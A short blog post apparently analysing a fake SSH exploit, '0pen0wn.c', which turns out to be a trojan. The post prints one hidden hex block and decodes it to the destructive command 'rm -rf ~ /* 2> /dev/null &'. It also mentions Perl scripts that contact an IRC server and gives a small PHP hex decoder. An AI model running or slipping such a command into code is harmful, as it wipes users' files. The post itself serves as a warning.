0pen0wn.c What a Joke

So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.

there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f \x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26

When decoded back to ASCII characters. This reads:

rm -rf ~ /* 2> /dev/null &

The code used for the decoding is a simple PHP script:

foreach (explode('\x', $str) as $char) echo chr(hexdec($char);
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